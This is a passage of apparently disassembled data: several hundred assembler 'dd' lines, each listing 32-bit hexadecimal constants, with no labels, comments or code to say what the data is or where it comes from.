		dd 498B18C5h, 241E59B8h, 4483E200h, 88865094h, 9841E57Bh
		dd 0D9642h, 8AE968F4h, 2CC0A499h, 4C3DB38Fh, 0BF9F0C4Bh
		dd 64B7E780h, 0C44F6315h, 29853439h, 9203A408h,	2E10628h
		dd 0A2953E89h, 1847C81Fh, 5B606D44h, 0B40129A4h, 0A904208Ch
		dd 418E88CEh, 0D4017F2h, 3FCBBB40h, 0FDAE0102h,	0C9319666h
		dd 0AD186EDCh, 0DD39FC2Ch, 7BC40024h, 3459F40h,	79001A13h
		dd 25B20A5h, 64427436h,	45CFD01Eh, 0C0409B97h, 0CED183C4h
		dd 0E3F500A5h, 8F98616Eh, 1A48C8E1h, 8C2ABC14h,	830EE700h
		dd 4FCFF6D2h, 592509B3h, 78B0C232h, 8430CE74h, 0BD923941h
		dd 0F862E5D4h, 0C3E58F1h, 298022Ah, 36997213h, 50884C61h
		dd 5C21EC2Ch, 0B851A32Bh, 0DFEA2C04h, 0B81B00C8h, 13B46F8h
		dd 0B9880A55h, 400C6AE6h, 11D8288h, 0BA07530Ah,	0EA2CF74Bh
		dd 975CF052h, 62548094h, 0A3F014h, 83467DFCh, 9CBECC36h
		dd 8005D53Ah, 93A2E3B9h, 482E7BF5h, 1F232CB7h, 13CF1D07h
		dd 80381A35h, 0C7650043h, 0D7EF2F5Dh, 0E1006419h, 37125F4Bh
		dd 2AF72753h, 12B86F4Fh, 8BB2D470h, 0C040C82Ch,	211766F0h
		dd 0B71E8C00h, 790E89E9h, 9794263Fh, 0BFD44048h, 0F81CFCDDh
		dd 0E700E9F0h, 5BCC19D5h, 16C6019Ah, 6722D3B4h,	2411CD7Bh
		dd 0C339BC3Ch, 0A14012B2h, 0C045E808h, 0E965B329h, 5D221246h
		dd 0B33A311Eh, 0D6D4F9C0h, 301EFF89h, 0C0B93B3Dh, 900ABC1h
		dd 166F3A4Ch, 18D48115h, 41859953h, 6000A1EEh, 0AB1E89DAh
		dd 4DD48FDh, 0A57BF8FBh, 86208879h, 14B94924h, 2D39AEBEh
		dd 0C012F80Eh, 0C0A61C70h, 0FBE9015Fh, 0FCBDF114h, 0B6F5F46Eh
		dd 0F6041678h, 0A2490C76h, 28850C90h, 1354EA0Eh, 43718Eh
		dd 21EDE2EEh, 774150Bh,	94403C4Ah, 0B769A103h, 2AF0381Ch
		dd 0DF0CF980h, 9C833BDAh, 44719900h, 4C4DA62Dh,	0CCCB0F28h
		dd 2F407232h, 14450DFDh, 0D55EB300h, 0E80BF263h, 0FC49488Ah
		dd 6DC85180h, 0A20F8C2Ch, 40F4649Ah, 2F899084h,	2278052Bh
		dd 41579BC3h, 0D08DB594h, 94B0F8C4h, 0F9591F01h, 0E652DD92h
		dd 30ACB7DCh, 0A6C03186h, 846099E8h, 0A1EF9D39h, 6E180E4Ch
		dd 0ADE54D50h, 61B10025h, 2D5AFCF7h, 0C3977500h, 7B9588B4h
		dd 6C6C495Fh, 22ACF917h, 0DC524B10h, 0F50020B0h, 0DF761094h
		dd 1D27AE5Bh, 40AFE4D3h, 0DBF0B0B4h, 0E3E662C0h, 8AF4ED3Bh
		dd 0F88DBAF9h, 6A3B5F40h, 0CE2234AEh, 0FB428128h, 0D29071B5h
		dd 45031851h, 901DD3E5h
		dd 8DAA78h, 0DD4B6746h,	0F6DB1F5Fh, 997D700Ch, 72965981h
		dd 1DACF2B9h, 3C2EF7h, 5E61EEA8h, 773A65B0h, 49FF80D2h
		dd 0B4B7604Ch, 7B99021Ch, 3D40AABBh, 0C21E687Ah, 0DCC0D8D5h
		dd 0E2A31FE1h, 0C9A904A6h, 0C95F8160h, 9A800308h, 302C31C1h
		dd 35441A74h, 294D0046h, 2D516140h, 0CE9010A7h,	5B49A49h
		dd 7379D070h, 0E3B1A680h, 0F1080E5Dh, 31028691h, 3C443D6Bh
		dd 68804B13h, 0EE76A000h, 98DD9329h, 3167403h, 1EBD4A69h
		dd 59079D98h, 47289918h, 0AF4482C0h, 0F12F1277h, 0A53440C9h
		dd 2D76E5BFh, 871CD02h,	52C0F73Fh, 0C2647BB8h, 4D670529h
		dd 0EEA153C1h, 119B1061h, 998B363Ah, 0A0845Eh, 289F4057h
		dd 81E0E95Ch, 496AAA8Fh, 2B022840h, 38D10F04h, 0A580BE50h
		dd 607644F7h, 35052A04h, 94807E14h, 30977420h, 9E203EE9h
		dd 3A013C60h, 0A2AE6BE4h, 0C2D02741h, 0DAF4016Ch, 0CD2C8252h
		dd 0CA2DD4EFh, 399A9009h, 0E8E9093Ch, 1F0758h, 9E2D1029h
		dd 62A9F16Ah, 67BA0306h, 7C9373Dh, 0D7956999h, 89831064h
		dd 3E25CCBEh, 51B8203Dh, 0EC79C442h, 0F0E2B3h, 0C05099E1h
		dd 384516A0h, 3B5D5F3Bh, 7EB787BAh, 319BB8Bh, 0F8579EA4h
		dd 0EF11594h, 0EEE2B310h, 0B8C79980h, 0D8F9952Eh, 9A2AA331h
		dd 0FD3BC083h, 93E300B4h, 714D4BCh, 28E00Dh, 231AAFB5h
		dd 38104B7Ch, 0B4ABC80h, 0E71B8178h, 4186F898h,	0E1FB9C00h
		dd 0FD8F43F0h, 0DC530042h, 3851F4F6h, 6B1ECA3Ah, 1D8A0F91h
		dd 93001C4Ah, 7748EFFBh, 0AF730707h, 0E132123Dh, 0D436E125h
		dd 6600E6E0h, 0C2940FFFh, 0C710AAAh, 397E7CAh, 5C034B91h
		dd 42153F74h, 0E3F8B0EBh, 0E44E00B5h, 9B73BAF7h, 3F1D660Ah
		dd 40CA450Ch, 84008C0Dh, 249C538Ch, 34B458F7h, 0A9BDEC81h
		dd 1A9C3029h, 0C8598E0Ah, 0F440C83Fh, 3488E6h, 0E15E4122h
		dd 0C73B39Eh, 6335D1Eh,	400E4EC0h, 0C06A9989h, 0A782AE51h
		dd 4D13310Fh, 74008C79h, 1D7B8B1Bh, 834700B3h, 99D8235Fh
		dd 0C139890Dh, 0B8438067h, 60AD2624h, 0F375E2CDh, 0B52C8180h
		dd 0BFF672C6h, 0F7B65F1Bh, 649BA248h, 57CB00B4h, 3F3D7375h
		dd 930F6790h, 24A9FA96h, 0A0883C7Bh, 0C720043h,	5F4C4E07h
		dd 510708B4h, 0ECFCBE3Eh, 33235B81h, 89382830h,	19C3296h
		dd 0CF45352Bh, 0CC30DC6Fh, 24858886h, 84310E6Fh, 0EE4B72B7h
		dd 8089B889h, 0B4A56600h, 6D3BCF91h, 2C782E7Ah,	0E6CBB842h
		dd 9CD10094h, 128BAF8Eh, 30000718h, 86FD95B1h, 586BDFh
		dd 0ED1A6737h, 0EB5E54CDh, 602FF53Eh, 26B6B071h, 7CF0456h
		dd 91BF3277h, 6D96D1E8h, 9B007D74h, 3869DEEh, 0F24D1FF4h
		dd 3C4118CBh, 0B6799134h, 5E7EE304h, 0CFC0283Fh, 0E33ACC02h
		dd 5DFE219Eh, 51A00007h, 393325CFh, 4873E2Ch, 0DD202D60h
		dd 0FD7A1Ch, 3C0E0CE8h,	77ACFC67h, 44580BFAh, 0F2F16060h
		dd 0B77F48h, 0F5854318h, 0C29914FEh, 0D0917873h, 0CB79B500h
		dd 0E41F414Ch, 0CE52001Eh, 7518DC1h, 7524D147h,	0F103EC9Ah
		dd 0A0B6F2D9h, 17A9E7ADh, 1429D2Eh, 48E6AE48h, 0EE402055h
		dd 20607B27h, 6D8777D4h, 0D68B1258h, 0C91CD049h, 991F227Ah
		dd 0A880BD8Dh, 633B7CEAh, 0F928380Fh, 93EC801h,	1302984Dh
		dd 35F6F8F3h, 58CF007Ah, 2C2BA9C6h, 150284E4h, 0CC7C1CA2h
		dd 906449h, 853215Eh, 0B4FEBEC2h, 0A7D03800h, 7292C7C8h
		dd 3EB2FEECh, 9E81996Bh, 0F7402B5Dh, 64B048ACh,	229C089Ch
		dd 1983F300h, 0C90030Bh, 396945EAh, 24B89FE8h, 4F106A42h
		dd 41CE8C58h, 73BB00DCh, 47FA8566h, 1E073225h, 0A2A6C712h
		dd 1B94FFF0h, 8028B1EFh, 0B7FBC82Fh, 0BE00785Eh, 0A0754C48h
		dd 5D3F596Dh, 9B28F8D4h, 6E3C0054h, 0E53A9874h,	3F00E3A2h
		dd 0FFBDEBA4h, 583DB8F8h, 40C20AEh, 0ECB02CF7h,	704C1D14h
		dd 45AEC394h, 1B6AF8B9h, 0C560C589h, 25900688h,	2F2E108Ah
		dd 0F4ED09Ah, 4127209Dh, 75CC429h, 63712C38h, 724560A8h
		dd 682808CDh, 0A6481896h, 393101DCh, 0C39CE801h, 304C93C8h
		dd 1A4C64ECh, 89003366h, 34A5073Ah, 31BA2D5h, 0D340ABE8h
		dd 17E09246h, 565C6B4Ch, 0CD387AE4h, 20E917C1h,	6F322430h
		dd 4E6A00C4h, 0B50CEB46h, 8201FDBDh, 0A3EF71C9h, 943C2CAFh
		dd 0B1D86F80h, 0F100205Dh, 7D617CB2h, 6150F536h, 280DF8A8h
		dd 0D82D06h, 0D2F4752Ch, 1CBF9E6Ah, 0D78659BBh,	1B30C89Ch
		dd 25440800h, 9930ACA5h, 0AACB00F2h, 7895E41Ch,	965FD269h
		dd 4E0BF840h, 0E2758198h, 84FC00D1h, 934032Fh, 390782EDh
		dd 0E0F4169Eh, 4D175F70h, 0F7151661h, 0C02031ADh, 0CA047096h
		dd 1A7A588h, 245F5285h,	3D367B97h, 0C12C4C04h, 6B5299F9h
		dd 0F54179F5h, 0C8C84C9Ch, 7D42000Fh, 54697422h, 5325A3B6h
		dd 0EC98A098h, 7F0FBD0Eh, 17DC9824h, 30C5CE1Eh,	0B10994C8h
		dd 0A1ACED00h, 4B69BECFh, 0B5E5125Dh, 1944C873h, 3CAACD00h
		dd 8C7C387Eh, 94DB02A4h, 27E3E1F2h, 67B49688h, 0AEBDD087h
		dd 0E8F42B4Ah, 0FB55FC00h, 0BAF21BC8h, 699A2A93h, 0FDC50084h
		dd 0C316FEC0h, 2026D852h, 6640C098h, 3832DDD3h,	7980E7CDh
		dd 993D3F8Eh, 1CB1C2F7h, 0AFDCF300h, 13495325h,	4527EE4h
		dd 408DB900h, 0D438AAB6h, 0CE60002Bh, 933B0743h, 1B00F6FDh
		dd 0CFFC542h, 6149EE1Ah, 85FEC1B6h, 566D0138h, 12C45FF4h
		dd 893F1F06h, 0B6F6F4BCh, 48DD500h, 0A598C47Dh,	8BB0D4h
		dd 5DADF8EEh, 0B4953069h, 1C0BA4Dh, 28A41C59h, 3838AFFDh
		dd 60848F87h, 90E79C35h, 4EBBA000h, 9A152F57h, 0C3C10013h
		dd 5197A8CBh, 0AE04F21Fh, 1DB92B48h, 0B55F00C1h, 32A579FCh
		dd 2F512973h, 5024B4C4h, 500804Eh, 0E0274B31h, 6A6005D8h
		dd 8891CE08h, 83721D28h, 3FBCCF58h, 0FCB405A9h,	18F43FE8h
		dd 0A46A07BEh, 709519E1h, 8F4BBFDCh, 3A235C00h,	5277E592h
		dd 9137460h, 9BBA0555h,	4620ECC8h, 0A730F400h, 0BC3A8EDh
		dd 0DBFF0175h, 0A1EE0756h, 0ECBC304Fh, 3C0A040Bh, 4BCC20D0h
		dd 95BCC65h, 43882753h,	4D70BCC4h, 2DD400Fh, 86960A5h
		dd 4F971CBh, 0B4AE288Eh, 0BF0CCC5Ah, 87991B00h,	23C4AB7Ch
		dd 82BC04EEh, 83C8A81Ch, 291EF2ACh, 8039871Dh, 0C0B2BF1Eh
		dd 3B7C2AEh, 0B528ACA1h, 83C9E21h, 0C7067CA9h, 22BB41F2h
		dd 4AE418B8h, 1F349D1h,	0BE468D01h, 50DE9F1Ch, 1D1330C8h
		dd 0C9C50769h, 8C8AF1C1h, 0B2E5606Ch, 0EC00DA8Ch, 0F461A20Ah
		dd 5CD4C90Bh, 0CF801C3Ch, 1C679C18h, 21D50F00h,	97C5F19Dh
		dd 1DB091h, 399D2BEh, 3F190984h, 0BF00A898h, 3E573B60h
		dd 24A13733h, 9EDC7A49h, 0DA4C40B6h, 0E4311FEFh, 8FA6CB3Ch
		dd 81158058h, 0BE1AEA36h, 792B2820h, 0D8F0146h,	9C65AF64h
		dd 22CC70B8h, 0B373BF00h, 9B4140CFh, 0B52F0159h, 0A8B4B1F9h
		dd 0BC54F460h, 1476BB73h, 0BF023F0Bh, 0AD3A826Ch, 9F0860DBh
		dd 3D4F2E32h, 9365409Ch, 600176BFh, 510AEEE2h, 0C892ADEBh
		dd 869800AAh, 0D01F70AFh, 214F658h, 0BCF4EC85h,	124597Ah
		dd 62C8E6B5h, 8FA06A12h, 3A2B0090h, 0BA0B0A86h,	0D89144F1h
		dd 0E0E0D88Eh, 11CA4874h, 83E906CBh, 58C8BDE7h,	9E4B13Ah
		dd 8112D007h, 0F327E820h, 0B84C4839h, 1EF18607h, 2D5B52F5h
		dd 22481C78h, 0A0082DB0h, 29C338F4h, 3FF625B5h,	1259DCA0h
		dd 280F7F5Dh, 0E1BD9C1Fh, 871B3EB9h, 90C45060h,	15C576BCh
		dd 0D8A54972h, 96606D0Fh
		dd 69B65280h, 3402E890h, 56870145h, 0C7DCE071h,	482D3C4Ah
		dd 1A6CC180h, 22517E4Dh, 72815E2h, 6B48A4A8h, 5B030054h
		dd 8EF1FE60h, 6898482Fh, 0BBE51004h, 3A04C252h,	9820D32Fh
		dd 90934B20h, 0AC5625CFh, 812A8081h, 80147C51h,	392D9112h
		dd 91804D4h, 80031463h,	0AB0A6D6Ah, 0D090974Ah,	7029C2h
		dd 341610D9h, 0D444F9C7h, 0B5B02650h, 8F0BCAF0h, 4033B1AAh
		dd 0B0E2FB84h, 1E2D0098h, 3D9807D5h, 0BC07D104h, 2774C2C3h
		dd 7C879C9h, 8B44A683h,	0CA400002h, 85005C79h, 0BB988DD4h
		dd 9D69005Fh, 0CE518978h, 4174E6A9h, 428022h, 320D9915h
		dd 0C1E89B1Fh, 1DABEB00h, 3D8FC7BAh, 0D4645001h, 9884A00Ch
		dd 5384255Bh, 0AC0084E4h, 0A2B990D5h, 1CB1D0EFh, 1F85BDFBh
		dd 42506CF6h, 0D471293Ah, 961AED00h, 3EE422E3h,	0A21D9C24h
		dd 7A54807Fh, 5F8C56D4h, 2CA2DFB0h, 0EB2E0CCCh,	4B094EECh
		dd 0E8EC1064h, 53BA0060h, 0B9338E2Eh, 0EF072BFAh, 465CCEE4h
		dd 85D6FBD0h, 0AA9005F7h, 0BCD0F28h, 121A28h, 0B60068C6h
		dd 242A9FADh, 3E313C1h,	40D9A62Fh, 0FFF85F87h, 61163B51h
		dd 0AC974AD4h, 841B0B90h, 0DC770Fh, 0D24BA8BBh,	690D7B47h
		dd 0A0AD98A0h, 0AC197A26h, 20DD4800h, 2FB4BABFh, 909127F3h
		dd 0D6EB4039h, 133E81E2h, 1C1587ECh, 0ABE0B230h, 0A074DAh
		dd 0C51201FEh, 0ED17CD77h, 50556F0Ch, 8908F2h, 84CE236Dh
		dd 530EEB52h, 87BFAF8h,	1A030974h, 0D462AB0Fh, 60F8A825h
		dd 91A100D8h, 77F40457h, 50C1896Fh, 0FA158405h,	0C72B2D0h
		dd 0FF4F1EABh, 0E000261h, 8D0F677Ah, 7A1E1B8h, 0B96A3F16h
		dd 0A482B091h, 6079974h, 1DC8CC32h, 2E2BD971h, 94ADA980h
		dd 4E4E7DEh, 0BFAB3E00h, 3BF67FF9h, 0E6C9C8EFh,	567C3080h
		dd 0C4E6B37h, 686C19B4h, 9617ED18h, 261CBD16h, 0B240279Ch
		dd 0E8C034D4h, 9E1003Dh, 6FDB4791h, 51305456h, 47D51FDh
		dd 60FA00FEh, 0C3917AC5h, 0F726C7C6h, 0AE00F0AFh, 7BD30AEAh
		dd 2AE30680h, 717614D6h, 0A7F63807h, 0FB5092F1h, 0A23CC5Eh
		dd 19DBB34Fh, 67F3ACCh,	2D4BDDDFh, 671E916h, 0E6B3803h
		dd 0A87E4FC3h, 569ED6h,	8A682C1Eh, 0BA80110Bh, 0D9318661h
		dd 8A98C77Eh, 0E63CB1E8h, 5FB8C05h, 0F4202D53h,	0A12269h
		dd 0D3AAB0B1h, 1950C131h, 5E489A00h, 17DA398Bh,	2CB9C077h
		dd 84F92943h, 3D04261Fh, 10666B40h, 86DCE9h, 377E808Bh
		dd 4CD53381h, 70100661h, 41806C16h, 5426FD47h, 0DB00B6A1h
		dd 670AA47Ah, 9D6486Eh,	4B41D8BEh, 0C2801829h, 0A91C557Bh
		dd 1EC64C00h, 85788B27h, 6EAB3F5Ah, 0DCA158F1h,	412D6806h
		dd 0D82F3970h, 779DC39h, 0E004BA06h, 7BCC2845h,	30B81C2Ah
		dd 37ADA000h, 38F4A9EBh, 0BF7F18h, 344CCBDBh, 14E2EA26h
		dd 0E800AF76h, 0D75F979Ch, 0CB8A06h, 0C779C8E5h, 0B0091021h
		dd 0D001FE8h, 3CE0B21Ah, 18A7A9A1h, 694CE2EEh, 0B7000723h
		dd 0F44B2B2Ah, 5338331h, 505EBF3Ch, 0CBCC40F5h,	0F742B00Eh
		dd 62948201h, 132C1D75h, 0F64CD050h, 0F1F5245Ch, 0EAFE0044h
		dd 86A0DA2h, 93E32400h,	0A7CC8C07h, 2A0A0001h, 5D99C5D4h
		dd 529187Bh, 0B0018C42h, 0D0F0029Ah, 0C84875F1h, 9D7A1FE6h
		dd 196607D4h, 29191C6Dh, 84026AF0h, 1426D332h, 0F97C2077h
		dd 53007A3Fh, 23BC3AA9h, 875908h, 0CBD5611Ch, 14C0A029h
		dd 19316E60h, 73598545h, 0A09E7CB8h, 358053Ch, 60B5FD6Eh
		dd 0BB866E4h, 0A400EEDBh, 3291078Dh, 15564ADEh,	842FF677h
		dd 0E6EEA206h, 1D24D154h, 6640EC4Fh, 9708E3h, 873712B6h
		dd 8A0FD569h, 0F8623F00h, 0F1D7A822h, 60AD075Bh, 47A0ACF4h
		dd 2EE08FFDh, 8FE281C1h, 34210960h, 1902F48h, 7452BDB2h
		dd 0CD08A4C4h, 108BF0FFh, 6D537600h, 0ACF3312Fh, 60187D02h
		dd 0CB5E50ABh, 0B010FB9h, 2FC5BACCh, 0F271C61Dh, 0F6E16D0h
		dd 25AB792Bh, 5A70B0C3h, 0FD78708Eh, 4208400h, 306C0FA4h
		dd 5512302Bh, 0C47BADA0h, 3863C00h, 17150872h, 81E9241Eh
		dd 0FF7600FDh, 8A5F71BEh, 2C777018h, 3C6BDA51h,	2F808D62h
		dd 0EF32A6D7h, 1333EEA0h, 0D8CDF9A7h, 0C46727h,	663FDBF9h
		dd 0DA26CF32h, 820EED0Ah, 1960881Ah, 3FA81A8h, 2C5C4B4h
		dd 26A96872h, 6BC6D0BEh, 0F50D201h, 0F25B6C70h,	77B900D3h
		dd 3A4803C2h, 3CFC3567h, 5079F800h, 15D34A7Eh, 0B3C70031h
		dd 8C24263Bh, 0BD00D864h, 0BEF911D9h, 5279E64Dh, 40CAC5Bh
		dd 81597B22h, 5899F660h, 38C5A1Bh, 4CE33B42h, 310086F0h
		dd 0DD5735Bh, 0D718EEh,	0CF5936B1h, 61F25EEFh, 0B01A49C0h
		dd 6D044D1h, 8EF4C591h,	0D81259F8h, 9500489Bh, 0EC8D84F3h
		dd 21140079h, 45A99A7Eh, 956F127Bh, 0A3772069h,	7C500252h
		dd 5E9703D2h, 1605E77Ah, 8E8604A0h, 8459EE60h, 73B6CFAEh
		dd 643C0548h, 0C0CE42B4h, 328702EAh, 5D97C07h, 6240CA10h
		dd 1F33A78Ch, 0C0175AE2h, 0A8003A5h, 7E033C54h,	0F15E6246h
		dd 1EB3887Dh, 91A26011h, 0CE300335h, 4B69600h, 7EF60E49h
		dd 0EFBA0014h, 5FBC830Fh, 2A005D23h, 2E11D68Fh,	9777D06h
		dd 28166941h, 2A32020h,	0FC026E1Ch, 8C78DD42h, 0CBC6E0F0h
		dd 0CAE10351h, 0DC8240F5h, 0B055D900h, 0A77F1310h, 0FEE430AAh
		dd 0F4802319h, 5B86454h, 80925C3Fh, 0F0E5D6D2h,	8D9707h
		dd 63125565h, 0C372707Dh, 9DCBE0ABh, 0BD30D102h, 0C3E3342Ch
		dd 0C049A359h, 0AC380Bh, 0B358A2DFh, 39627B55h,	0B0F0540Ch
		dd 50A839A1h, 391D44D6h, 4692658Ch, 0C4940121h,	33E0A820h
		dd 88658008h, 64C9651h,	0F33F7204h, 9400C179h, 7C0276CCh
		dd 0E2C45FBAh, 0F83B3C95h, 8C6B0D03h, 1FD8CCD6h, 940F8748h
		dd 60012615h, 0BFAF5F79h, 496560F4h, 0B7C26655h, 0C62FCA01h
		dd 642A8933h, 0E161FD4h, 0FE0E820Dh, 7CBFC9C0h,	8D505587h
		dd 0BB007A54h, 0F85C2D98h, 0C0568E36h, 0F3B72FB0h, 1748AF88h
		dd 0AA809C98h, 1934A153h, 6AFE00A3h, 336909F5h,	47004A27h
		dd 3104DE16h, 0D68221h,	5E20960Fh, 6A4F1184h, 7A1DA8C0h
		dd 2E87DCF5h, 87B2AF6Fh, 0E1816E05h, 0D404B0C9h, 15050312h
		dd 9E110230h, 0F296A040h, 0A0799Ch, 1BA9A42Bh, 44730E58h
		dd 800B633Fh, 0BA0DFCC7h, 5C6BF6B7h, 0A146E37h,	0E9003C12h
		dd 0C9FBB6BCh, 0E50E0D5Dh, 7D6BE6A8h, 433BF900h, 0A5327B1h
		dd 0EF818B90h, 6189808Ch, 3B6BE737h, 0D8DB6601h, 0DF048848h
		dd 282F91CCh, 501258h, 5F430A36h, 0F1C9FC2Dh, 0BAA3Dh
		dd 52652A44h, 12E0BFDEh, 186BB45h, 8E8C0314h, 92A610EDh
		dd 0DE4300D8h, 0F391CC1Bh, 3D003664h, 0D71F2C78h, 1E632DACh
		dd 522B7962h, 251C2257h, 7DEF3240h, 0D719FF00h,	1F923316h
		dd 0C8114C85h, 0D2425180h, 360089CFh, 0E6B07DE3h, 805506h
		dd 71B3905Fh, 0AE87ED95h, 0E37331C0h, 202D906h,	50A04C47h
		dd 8140B1EAh, 0B1C0F28Eh, 96DFC1Dh, 1173015Fh, 1208B77Bh
		dd 0FBD9D47Ch, 0E8DBBD0Fh, 0CEA918F4h, 24E300DEh, 86C40E57h
		dd 0D400FF80h, 859FC58Ch, 160527AAh, 9219DBh, 6A9D1660h
		dd 0B14C8CA9h, 0C094505Ch, 1E2B2Ch, 607D004Eh, 49155996h
		dd 0B5004C04h, 0E1D647ECh, 9200765Eh, 0A277CD73h, 9B1F4F7h
		dd 0CF01DA1Fh, 27174498h, 48618E03h, 0B0A32123h, 0B6264Ah
		dd 0A122AAE0h, 1EBF8BAEh, 0DE246000h, 5481E315h, 8CAB288Ah
		dd 0CADBE5E0h, 341020F5h
		dd 0EF004EB2h, 20098551h, 24928C94h, 60D0BCABh,	3ACA4F95h
		dd 3FAB501h, 0A080D820h, 7681B9CCh, 0B00448E0h,	17A89A06h
		dd 3E00D906h, 5C1FE6BCh, 0A02CF27h, 32217876h, 891A60F0h
		dd 7400E055h, 996E5024h, 41C1059h, 2BB4E481h, 7834C821h
		dd 0A91E58A0h, 2F2BC38h, 0FE4CF0Eh, 90EC4397h, 986A702Bh
		dd 91A51410h, 5A004416h, 0C8672930h, 88E234E9h,	3E95FF01h
		dd 7E708B82h, 40C1072h,	0EE716A20h, 0D6DCB560h,	6EFA3C0h
		dd 0F344C479h, 3E00216Fh, 0A804338Fh, 4806BEAh,	262B2E09h
		dd 0A2E04155h, 0D062F481h, 8BA1007Eh, 0A5270F65h, 89001946h
		dd 0D91CD5A2h, 2F02660h, 5181BC75h, 0B06655E8h,	0F3F200Eh
		dd 27C4028h, 306F6Dh, 4A22E762h, 7B517A78h, 0DD0014B8h
		dd 0F76BD95Ch, 7E8949h,	2B059AE9h, 0F3BB0A81h, 91596344h
		dd 20119634h, 7E63A028h, 0F626D900h, 36EA3A03h,	0D2090115h
		dd 0DE88F18Ch, 16487039h, 2B1F850Fh, 2282FC78h,	0C4E458A8h
		dd 50DB2A18h, 78F548A0h, 758C1E80h, 2E0039E8h, 3DEDB8C2h
		dd 1261A55Ch, 3085D254h, 41A27BCCh, 63004BF0h, 7714F45h
		dd 15C5BFB5h, 0EC891610h, 31F78118h, 0CCE1E68Bh, 140FCCBDh
		dd 0AC4976ABh, 246372B3h, 1EC8D646h, 40B91E92h,	129CEDF6h
		dd 87017D09h, 74C803A4h, 85F1F56Fh, 2D242032h, 589D001Ch
		dd 0A85F6B08h, 80E8FA58h, 0CE75137Eh, 8C061248h, 5DF0079Eh
		dd 4A7470C2h, 0F3188807h, 0C7F966F4h, 411300EBh, 49468AB7h
		dd 0BB1DAFEEh, 79C4D1B4h, 508C63EAh, 84E0B8h, 0BF30186Ah
		dd 9AD57765h, 90B8C050h, 94110718h, 1E1CF8A1h, 416AB9DCh
		dd 70C5D633h, 4244171h,	2C7216h, 0CBB18E9h, 725D40BFh
		dd 0B0977B73h, 0F0DB4510h, 6501449Ah, 0F53B009h, 0B1426AC8h
		dd 487C4443h, 184073EAh, 2CAA008Bh, 89FF186h, 0E0E76C70h
		dd 99094F87h, 90180296h, 72C468h, 0B78A3C71h, 28EA78D2h
		dd 61D76201h, 327D79E5h, 457CB822h, 2320C168h, 27390048h
		dd 0EAB3D2D0h, 6C090038h, 874059Bh, 47135095h, 0D80272D8h
		dd 0E0AEE653h, 784F8428h, 4C805887h, 201D080h, 5F00113Fh
		dd 0F7C5932Ah, 0FB615E25h, 0E27203E8h, 5F8F4A18h, 595AC070h
		dd 0C355641Dh, 0FDDD2906h, 50A16EF4h, 12B89BBh,	0C66DC99h
		dd 800716D3h, 0DB5B63F1h, 0FF6EAA6h, 77BB04C6h,	0A5112224h
		dd 20B6CC88h, 45153C07h, 64C08462h, 5DDAAAh, 4F9BD94h
		dd 5D93B63h, 3714DCE8h,	648F32h, 0A14CC797h, 58AF526Eh
		dd 2B009791h, 0E5F4DD61h, 78A3F78Fh, 795F58F8h,	8E060909h
		dd 33D404FBh, 0BCA39C80h, 0B1FE6016h, 0DF0CAD29h, 0BA174900h
		dd 9A7DD9FCh, 4E1D0075h, 80AC1670h, 38944B90h, 35225C40h
		dd 7934039Bh, 0CD0DFF44h, 2CD452F0h, 2A1D311Dh,	85822280h
		dd 9623A53h, 0A0401554h, 2E5BB082h, 6A7A8D20h, 2CB92C02h
		dd 0DD320049h, 9E9B06ABh, 1C625173h, 0C6CDF716h, 0C692003Ch
		dd 0FF5AA8C9h, 990030EBh, 9EB0447Bh, 2D3106Eh, 0A9E3B722h
		dd 84A0F381h, 4CAAB254h, 7F41D517h, 0A38E601h, 0C873C161h
		dd 94FE4D07h, 99E0F08Eh, 7100546Fh, 53FE181h, 5C982E9h
		dd 0FBDA9433h, 0C14CC678h, 26CCB007h, 83C2E4E7h, 90AC51EDh
		dd 4258BEFh, 514063F8h,	0DDD187BBh, 0F0997126h,	91FC0B00h
		dd 3728009h, 0BF636082h, 31076DF3h, 209B8A14h, 542800Fh
		dd 0B4C3B03h, 941FBD60h, 0CACB4C98h, 0D93F9D00h, 907AAB0Ah
		dd 9ECDF1F1h, 0F0FBDCh,	0A3FD17CDh, 1685AEE9h, 9D00247Ch
		dd 64ACD562h, 0B07DB083h, 0E3B7498h, 0C704EF44h, 0F152A9E0h
		dd 4951BEBBh, 0E2C40CD4h, 0EB0048FCh, 0D90861CEh, 102577h
		dd 0BBB57CE0h, 6822BDA1h, 0B00A4F26h, 5D6FD00h,	703CEF9h
		dd 152BB959h, 0E86DC002h, 810ECD0Fh, 9CD64020h,	70B30E81h
		dd 0A0510A8Dh, 866047EAh, 17E100DEh, 24F84137h,	5702768Dh
		dd 1708E88h, 877CC08Bh,	7829F961h, 0A45A3400h, 9775B8B4h
		dd 23F12703h, 80E2FEDBh, 0E7F6F5h, 6C7F69B0h, 0EA5F8071h
		dd 0D8F25A26h, 9C0BA340h, 96530086h, 4BEB80FBh,	0A7001389h
		dd 0FD5CF40Fh, 12E39B7Ch, 40301734h, 9AD0D108h,	7E7D235Eh
		dd 5193E8F9h, 6B6E0E01h, 282B1EB6h, 2070872h, 218B0372h
		dd 0E05A6FC7h, 2C2CD7C2h, 2E80A8F7h, 47FD74EDh,	2A5D0016h
		dd 584BBD89h, 6C057E55h, 9591921Fh, 19AC9802h, 5FC06007h
		dd 0ED2D0914h, 442093B3h, 0A7C9D7DAh, 7D24D375h, 0E801B480h
		dd 17BC4025h, 0FB016422h, 529CA0EBh, 66986405h,	1136D20Ch
		dd 0F049AAh, 6F8D23DFh,	4F2FDC64h, 73BD4700h, 0B9844971h
		dd 23284B16h, 0A3F05BACh, 0EA002755h, 57C87826h, 39C7C628h
		dd 0A78B351Ah, 9800B33Fh, 8C644E9Ah, 0AC772C00h, 7F1716C4h
		dd 6C180168h, 272B8BF5h, 5443601Bh, 0BFA9B400h,	0F3BA081Eh
		dd 0ACB967h, 2285FC76h,	2948B39Eh, 0C372032Bh, 0E8A401A2h
		dd 0D9D16Ah, 3B664FF5h,	0E7BDB03Fh, 2EB4D802h, 611671B9h
		dd 0C8405B88h, 64038A6Bh, 0CCF7DC80h, 0A07B7390h, 29A20400h
		dd 4CBBA79Dh, 0EA503FE5h, 0B7775A81h, 0CD87F712h, 0D3EC1093h
		dd 0A43A0005h, 1A8D4BAFh, 38991FB0h, 0F88EA380h, 6B3586h
		dd 20D6AE0Ch, 0D58F9073h, 8622B13Bh, 9C113B34h,	1B63831h
		dd 4845E90Eh, 0BBC552E0h, 0EAE00DA3h, 0FAEDFB1Ch, 0BD90580h
		dd 58789565h, 0B8DFD4DBh, 200E8C00h, 0E32B8D36h, 2C79CDE3h
		dd 0E2CB8038h, 207D1Fh,	0F76388F5h, 10197653h, 0A081C427h
		dd 14E01CCCh, 2793003Fh, 0A88F5590h, 6200D7AFh,	24763BCAh
